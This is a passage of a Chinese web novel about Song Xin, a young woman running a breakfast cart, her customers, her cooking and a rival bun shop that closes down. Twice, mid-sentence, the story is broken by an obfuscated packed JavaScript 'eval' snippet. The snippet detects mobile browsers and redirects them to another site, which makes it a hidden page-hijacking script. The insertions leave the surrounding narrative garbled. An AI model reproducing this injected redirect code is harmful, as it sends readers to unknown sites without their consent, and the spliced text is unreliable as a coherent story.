她到单位的时候，办公室里的人已经坐齐了，郑姨敢拿自己手里的早餐保证，以前没有一个可以起这么早，也没有一次都来这么早。 但是这一周，早到已经成了她们办公室的常态。 整个办公室加上郑姨这个领导也就五个人，很神奇的是都是女性，所以平时做什么事情都很方便，大家互相帮助也不计较。 “郑主任你终于回来了，这个莲藕雪梨汤看着真不错！” 郑姨还没走到办公室，就有人在她的必经之路上守着，先接过了她手里的汤，郑姨觉得对方看汤的眼神可以看自己热切多了。 就这，单位还有人说她手底下这几个小姑娘会巴结人，如果她们真的会巴结人，早就在轮流买饭的时候也给自己带早餐了。 事实上，连她们轮流买饭都是被她观察之后炸出来的。 进了办公室大家集体感谢过郑姨之后就开始分早餐，她们后来也进了宋鑫的群聊，知道每天早上的菜单。 有的人爱吃甜的，这几天觉得自己要幸福到昏厥！ 前天的莲藕花生红枣汤就好喝到了她心坎里，那碗汤她都没舍得在早上喝完，而是当作饮料喝了一个上午。 今天又有莲藕雪梨汤，她特意让郑姨帮自己多加了糖，也不知道小宋老板在哪里买的片糖，自带清香，甜而不腻。 “这个三丁肉包好好吃，你们还有谁买了，快尝一尝，爆炸好吃，我觉得我天天吃这个都可以！” “我要了，我尝一下，再好吃能有干白菜肉包好吃？”接话的人说完从自己袋子里找出三丁肉包吃了一口。 37.韭菜炒河虾 “这么好吃！鸡肉还是滑嫩的，猪肉好香，冬笋的口感在里面好特别。” “干白菜肉包真的好好吃，没有干白菜肉包的第二天想它。” 一句干白菜肉包让所有人开始怀念逝去的白月光。 “唉，以前也没有发现白菜干这么好吃啊，我家里做了我都不吃的。” “我倒是第一次吃白菜干，才发现世界上还有这么好吃的东西！”这个小姑娘已经成为白菜干的狂热爱好者了。 “友情提示哟~白菜干自己做出来不一定好吃，我们现在觉得好吃是因为包子出自小宋老板。” “别想着白菜干了，你们没有人吃白菜牛肉的吗，也很好吃。” “豆芽包和枣泥玫瑰也很好吃啊，尤其是枣泥里含着玫瑰的香气，好特别的味道。” “真羡慕李主任啊，一想到她天天都能吃到美味饭菜，我就像魂穿李主任。” “我也，我们可以轮班。” “轮着魂穿李主任蹭饭么哈哈哈哈。” * 摆摊结束，回到家里，宋鑫衣服都没有换，先和物业的工作人员联系，把自己的情况简单说明一下，她可以接下来全部的餐点供应，但是要带着帮手。 对面的工作人员很好说话：“没问题的，只是您带的帮手要有健康证。” “这个肯定有的，放心吧，到时候我会把证件给你检查。” “那就没什么问题了，更加具体的事宜和合同我们约个时间？” “可以，下周一？” “好的，那就下周一，我们先加个联系方式，有什么事情随时可以联络。” “我的就是这个手机号，你加我可以吗？”宋鑫先看了一眼自己正在使用的电话卡才回对面的工作人员。 “行，我一会儿就加您。” 没多长时间，宋鑫就收到了验证信息：您好，我是物业小张，刚刚和您联系的那个。 两人约定了周一的具体时间。 结束之后，小张不知道有多感动，不做物业不知道啊，尤其是她这种对外联络的人员，花园小区里面的住户还好一点，没有那么多蛮不讲理的人。 但是有什么事情要和外部对接，那才让人见识人类物种多样性。 想想自己被疯狂骚扰投诉的时候，仅仅是因为对接的时候自己没有主动为对方开门，小张忍不住打了个寒颤。 真的太可怕了！ * 晚上王意和宋鑫一起在小区里散步，问起了宋鑫小区才艺大比拼餐点供应的事情，小区里现在关注这件事情的人特别多。 宋鑫今天还听工作人员说下周一要在公告栏贴通知公布这件事。 也没什么要瞒着的，宋鑫就把自己接下了才艺大比拼全部餐点供应的事情告诉了王意，王意第一反应也是：“你能忙的过来，要不到时候我去给你帮忙。” “忙的过来，我爸妈到时候去给我帮忙。”宋鑫停顿了一下，想找个美好的形容词，最后苦于高中毕业语言系统就变得匮乏。 “我还说给她们开工资呢，结果她俩要大餐抵债。”宋鑫说的时候也有点无奈。 想着去帮忙的王意听说宋志明和李云华会去帮忙，已经放弃这个想法的她听到宋鑫说用大餐抵债，马上握住宋鑫的双手。 “我也去帮忙吧，我不怕苦也不怕累，这种事情就应该让我们年轻人来干，叔叔阿姨平时工作辛苦了，周末就好好休息一下吧！”王意说的大义凛然，只是一个帮工的工作被她这种口吻说出来。 让宋鑫幻视自己要让人干某种会让人付出极大代价的事情，她有了一种自己是不法分子的感觉。 这种感觉太诡异了，宋鑫努力晃晃脑袋，赶快把这个想法晃出自己的脑袋！ 看出宋鑫还想拒绝，王意直接使出了撒娇大法，宋鑫也不知道王意的撒娇是跟谁学的，她现在觉得自己再不答应人就要散架了。 后来宋鑫问起王意这个事情，王意还有点不好意思，到最后也没有告诉宋鑫。 还是有一次宋鑫和王意一起出去玩，到了王意的家乡，被邀请去做客的时候，恰好看到了王意家里的牧羊犬和王意爸爸撒娇。 和王意这次撒娇只能说一模一样，复制粘贴！ 王意又接着说道：“而且我还有健康证，都不用再去办理了。” 宋鑫疑惑：“你怎么会有这个东西？”真的很奇怪，宋志明和李云华有就不说了，是当时宋鑫办理的时候俩人凑热闹也给自己办了一个。 年后她俩可以给宋鑫帮忙滚元宵还多亏了当时心血来潮办的这个证件。 王意不好意思地捂脸：“这个嘛，那就说来话长。” “说来话长那先就长话短说呗，之后我们可以慢慢说。” “就是我们公司当时不是体检嘛，隔壁就可以办理健康证，我们公司食堂的员工正好也是那天被统一组织去办理健康证。” “我好奇嘛，体检结束就跟着去溜达了一圈，顺手领了个表也去检查，最后就有了这个健康证。” 王意没说全的是这个健康证她是跟着食堂员工一起办的，人家有公司报销，她的还要自费！ 宋鑫看出王意的隐瞒，但剩下的她也能猜出一些，外面这么冷，就不在这里听王意做的那些大脑短路事情的详细经过了。 “我们走完这段路就回去？”宋鑫转变了话题，王意立马跟上：“行，我也有点冷了，现在这个天不能一直站在外面不动弹，真冷！” 宋鑫回到家就看到了王意的朋友圈，图片是一张打了码的健康证，配文：我果然有先见之明！ 宋鑫默默点了个赞。 周六的菜市场人比平时多，可能因为今天是休息日，不过宋鑫也没有减少包子的量，甚至还在前两天的基础上多了两成。 没有其他原因，上周六的经验之谈罢了。 宋鑫估计是因为周六大家的时间都宽裕，都能排队，不用像周中赶时间，来不及排队的时候在周围买点东西就急忙上班上学去了。 先去鸡肉质量好的王老板那里提前定好的乌鸡，宋鑫先检查一番，都是新鲜现杀的，王老板没有敷衍她，都是好乌鸡。 付完钱宋鑫往前走，经过水产区竟然看到了还活蹦乱跳的河虾，她没有想到这个时候就有河虾了，看这样子肯定好吃。 新鲜河虾配上一把头茬韭菜，这个滋味就吃去吧。 即使这个河虾的价格不低，宋鑫仍买了三斤，倒不是不想再买点，老板这里就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646092|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一小盆，只有三斤多一点点，多出的那一点也送给宋鑫了。 她们一家三口都爱吃这个，炒好之后再配个油饼，明天不用出摊，这个菜加点干辣椒，也很下酒，美好的夜晚从一盘韭菜炒河虾开始。 回到家里先把河虾放进冰箱，赶紧处理今天要用的蔬菜，今天最后一天卖包子，下周可以轻松一些，宋鑫这两天看着包子店越来越冷清。 以前还有不知情的人经过买两个，现在有了宋鑫的餐车，已经没有人会在包子店门口停留，包子店老板也没有办法使出其他手段，盯着他的人不止宋鑫一个。 包子店开了一个多月，周围的店铺和摊子可谓是苦包子店久矣，包子店老板还爱在背后说其他店的坏话，只要生意比他的好，背后肯定有猫腻。 现在看到包子店这个下场，大家都觉得出了口气，在这种情况下，宋鑫觉得包子店离关门也不远了。 宋鑫出摊之前喝了一碗莲藕乌鸡汤，还给宋志明李云华留了两碗，早上喝一碗莲藕乌鸡汤，可以温暖一整天。 乌鸡被宋鑫剁成了小块，确保盛汤的时候每碗汤里都有鸡肉块。 今日份的菜单拍照发到群里： 叉烧肉包、麻辣牛肉包 胡萝卜木耳香菇鸡蛋包、什锦糖包 茶叶蛋、水煮蛋 莲藕乌鸡汤 现在茶叶蛋和水煮蛋彻底成为餐车的保留特色，利润不低还花不了多少时间，晚上家里谁有空谁就去敲鸡蛋壳。 有时候三个人一起敲蛋壳，也算是一项家庭活动了。 这次宋鑫提前说了明天不出摊，并说明以后不出意外的话周日都是休息。 她早早就把休息贴在了餐车外面，已经贴两天了，确保大家都知道她明天休息，不要跑空。 今天的叉烧包可好吃了，早上包包子的时候宋鑫没忍住烤了两块叉烧肉，腌制叉烧的时候加了玫瑰露酒，风味十足。 当然麻辣牛肉的也好吃，宋鑫已经准备下周找个时间买点牛肉烤麻辣牛肉干了，今天这个味道着实把她诱惑到了，想吃麻辣牛肉干。 胡萝卜包的搭配也是想着可以丰富一点，让大家吃的开心。 什锦糖包光是里面的材料她昨天就花了好多时间来买齐，芝麻花生就不用说了，里面还有松子仁核桃仁，苹果脯、桃脯等各色果脯，另外还加了青红丝和白糖桂花。 吃一瓶少一瓶的白糖桂花宋鑫用的很珍惜，后来她还去那个地方找过卖白糖桂花的老奶奶，也不知道是时间不对，还是老奶奶不卖了，再也没有遇到过白糖桂花。 宋鑫决定秋天自己多做点糖桂花备用。 按照比例合理搭配的什锦材料非常好吃，坚果香、果脯香通过芝麻油和白糖桂花融合在一起。 卖完回到家，宋鑫中午没忍住就做了韭菜炒河虾。 先把要吃的河虾剪掉头须，用白酒腌一会儿，宋鑫把韭菜、姜和干辣椒切好，没有用青椒，宋鑫觉得青椒会抢了韭菜的鲜味。 先用热油炒一下河虾，去除河虾的腥味，另外起锅烧油，把河虾重新倒进去，炒出香味之后宋鑫忍不住用锅铲铲出来几只河虾。 她尝一尝味道，看看河虾煸没煸好。 嗯，好了。 38.排骨宽面 接着把刚刚切好的除了韭菜意外的东西都放进锅里，炒出辣椒的香味放韭菜。 翻炒的同时放入调料，一个颠勺，这道菜就好了。 宋鑫今天中午不吃其他的，两个包子一盘菜，就是她的午饭。 吃着今年的第一口韭菜，宋鑫没喝酒人却已经醉了，嘿嘿，今天包子店关门特早，包子店老板那个脸黑的哟~ 包子店彻底关门指日可待。 中午吃完韭菜炒河虾，晚上又吃了一顿，宋鑫一点都不觉得腻，恨不得明天还能接着吃。 彻底休息了一天的宋鑫周一一大早就起来了，天气预报说今天会下雪，是今年的第一场雪，渐渐回升的温度又降了下来。 今天早上宋鑫准备做热气腾腾的排骨宽面或者排骨米粉，宽面和米粉可以自由选择，她现在要去买排骨和青菜。 外面地上已经有了一层雪，天上的月亮高高悬挂。 宋鑫呵了一口气，又回家把围巾找出来围上了，好冷！ 这个冷比真正冬天的冷还难受，冬天的时候已经适应了寒冷的温度，可是现在刚刚习惯没那么冷的天，温度又降下来了。 倒春寒是最难熬的。 买了排骨青菜和两只鸡，宋鑫都没有在菜市场多逛，菜市场里面可没有暖气，太冷了，她要赶紧走。 顺路把昨天预订的宽面和米粉取了，宋鑫到家先处理排骨炖排骨。 鸡汤也要炖上，这是等会儿汤底的重要原料之一。 炖好的排骨捞出来单独调味炖上，煮好的鸡汤加到排骨汤里面，加入盐、酱油和味精，汤底就调好了。 把所有的东西放到餐车上，宋鑫把买餐车送的厚围布找了出来，之前围着两张小桌子的是宋鑫自己买的薄一点的围布。 今天降温还有风，要把围布换成厚的。 到了老位置，宋鑫发现往常已经该摆好的摊子有两个没有来，估计是下雪了不方便，果然，把东西收拾好宋鑫看到了不远处正赶过来的两个车子。 来人停下车子收拾的时候还和宋鑫打了个招呼：“今天真冷啊，这个路有点滑了。” 宋鑫只走了从单元楼下到小区门口这一小段路，也感受到了不方便，一点都不敢开，全程小心翼翼。 “是啊，这个路现在不太好走。” 另一个摊主也下来了，“等我们回去应该就好了，我来的路上遇到撒盐的车子，清雪车也出动了。” 宋鑫在外面忍不住搓搓手，真冷。 她不经意间回过头，欸，包子店还没有开门呢。 顺着宋鑫的目光看过去，旁边已经有人说话了。 “这个包子店可算关门了，昨天就在搬东西。” 宋鑫没想到自己就昨天一天不在，错过了这个名场面，后悔的直拍大腿，要是她能看到包子店老板灰溜溜走人，中午只靠着回味就可以多吃一碗大米饭。 “这个毒瘤终于走了，这次他应该长了教训，以后不做这种事情了吧。”有人还在感慨。 但是这话一出却马上被人反驳，“他这次不知道又去哪里祸害人去，你不知道，我之前就认识他，他不认识我那种，还是我一个朋友和我说的。” 宋鑫也被勾起了好奇心，走到了离那个摊主最近的地方整理围布，耳朵却悄悄竖起来，四处一看周围不少摊主都停下了手中的动作看过来。 “他做这些都是老油条了，不是一次两次的事情，以前他在另一个区摆摊，就靠着各种手段把人挤走。” 那个摊主叹了口气，“可不是现在这种比较文明的手段，他直接找了混混把人家摊子砸了，还和一群不干正事的人混在一起，收旁边人的保护费呢。” “这种事情都犯法了吧，怎么还能接着来这边开店。” “要不怎么说人家有本事呢，最后罚款一交又跑到我们这边来了。” “那个被砸的摊主呢？”宋鑫听着只觉得给包子店老板的教训不够深刻，又让他去其他地方祸害人了。 “就是被砸摊子的那个摊主带头把他赶走的，他交完罚款还想在那里接着干，被人家联合起来赶跑掉了。” “你们不知道呀，他是没有办法祸害人了。”一个距离有些远的摊主直接走了过来，他的表情略微有些得瑟，写满了我有秘密要告诉你们。 “别卖关子了，马上就要上人了，大家伙等会儿还要做生意呢。”有心急的摊主催促他，虽然今天是周一，上班上学的人出门都会晚一点，但是也不能耽误太长时间。 “急什么，我这不是正在说嘛。” 这个摊主的表演欲上来，站在中间边说边给大家表演昨天晚上发生的事情，他甚至可以一人分饰四角，宋鑫看了忍不住感叹这是一位被摆摊耽误的艺术家。 “昨天晚上我出来散步，走到门口，我看包子店门口怎么有俩人，我还以为是去买包子的，还想上去提醒他们这家包子不行不要买。” “我走近一听，人家根本不是去买包子的，是去要债的！”看到大家震惊的反应，他满意极了，不能只有他自己震惊。 “那俩人是要债公司的，我没敢走太近，但是人家说话一点儿也没有小声，那包子店老板开包子店，包括之前摆摊的本金都是通过网贷得到的。” “他借的还不少，一笔没有还清还接着借，现在要还债却还不上了。” “也不知道他在想什么，怎么能网贷呢，那玩意儿多害人啊，咱们这附近整天来普法强调网贷的危害，前几天那个小顾不还来了一次。” 宋鑫知道派出所的小顾，还抓着她进行过普法提问。 “是了，小顾普法的时候他也在啊，怎么就这么想不开，就算他之前不在咱们这边，这两年宁市的普法做的可相当到位，我家老头老太太嘴里都一套又一套。” “谁知道呢，可能这人脑子有问题吧，听我接着讲。”注意到话题跑偏的摊主站在中间拍了拍手吸引大家的注意力。 “他欠了网贷就算了，还出去乱搞，挣了钱不还而是去□□，我昨天眼睁睁看着两个警察过来给他带走了。” “还好他老婆早就和他离婚了，女儿也带走了，要不然跟这种烂人一起过日子，后半辈子都要完蛋。”那个认识包子店老板的摊主做了一句总结。 宋鑫非常认同，还不自觉地点了点头。 周围的人其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648694|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实也在关注宋鑫，看到她这样都笑了起来，现在这个点在这里摆摊的摊主除了宋鑫，最年轻的也有三十多岁了。 看宋鑫都像看小妹妹，更不用说宋鑫还以一己之力增加了花园小区东门的人流量，最近她们摆摊的收入都有了明显增加，这显然都是宋鑫带来的。 包子店老板背后还蛊惑她们，说什么要是没有宋鑫，她们的生意肯定会更好之类的话，被一个脾气暴躁的大姐给怼回去了。 后来包子店老板说坏话，她们也都帮着给人解释，就怕有人误会了宋鑫。 现在看着宋鑫没有被包子店老板做的事情影响，她们都很高兴，宋鑫的生意好，她们跟着沾点边也差不到哪里去。 周日宋鑫不摆摊，来的人就少，她们的生意也跟着下来了。 宋鑫不知道背后的弯弯绕绕，但是大家对她的态度她还是能感觉到的，在这里摆摊虽然要早起，但是真的很愉快。 有的摊主很有意思，早上困得难受就听摇滚，开的声音不大，宋鑫有一次听到了好奇地看过去，摊主姐姐不好意思笑笑：“我也听不懂，就是这个声音很大可以让我清醒。” 宋鑫比了个大拇指。 有人来买饭了，宋鑫赶紧去餐车忙活。 “要宽面还是米粉，葱花香辣辣椒油都在小料台上，需要的自己加啊。” 这么早来吃饭的不是打工人就是高中生，在这个倒春寒的季节早上都需要多吃点来应对上班上学所消耗的能量。 “姐姐，我要宽面。”高中生汪洋已经拿起小碗去夹小菜了，他知道小餐车是小区里比较晚的那一批了，还是前天路过闻着包子好香才买的。 这一吃就惊为天人，想再买几个带去学校饿了吃，却发现在他吃包子之前只有零散几个顾客的餐车前面已经排起了长队。 但在那之后，汪洋狠狠把握住了自己高三生的身份，每天去学校都很早的他不用排队就可以吃上小宋姐姐的早饭，突然有了好好学习的动力。 之前也不是没有好好学习，可是到了这个阶段，离高考越来越近，老师家长还有自己给自己方方面面的压力都越来越大，有时候也会产生这么认真努力有意义吗的困惑。 一天又一天重复的生活，唯一的改变只有挂在黑板上的高考倒计时的日期，数字在一天天减少。 在这种平静无波的日子，宋鑫的早餐突然闯进了汪洋的生活，他产生了一种很奇怪的想法，就算为了不辜负这么好吃的早饭，他也要好好学习！ 宋鑫把煮好的面放进汤里，又在上面铺了好几大块排骨，烫好的青菜摆在另一边，把碗递过去的同时，宋鑫忍不住赞叹，这孩子会吃。 他还要了一个水煮蛋，剥开掰成两半放进碗里。 汪洋也没什么不吃的，葱花香菜榨菜都来点，醋和芝麻油也来一点，最后加上一大勺辣椒油，一碗符合汪洋口味的排骨宽面就好了。 今天的小菜有黄豆酱菜，黄豆酱菜吃的也很快，宋鑫上次做的那么多马上就要吃完了，她准备找个时间再做一些。 没有糖醋萝卜片，再做的也被吃完了，宋鑫想着也要给大家换换口味，昨天在家做了酸辣白菜。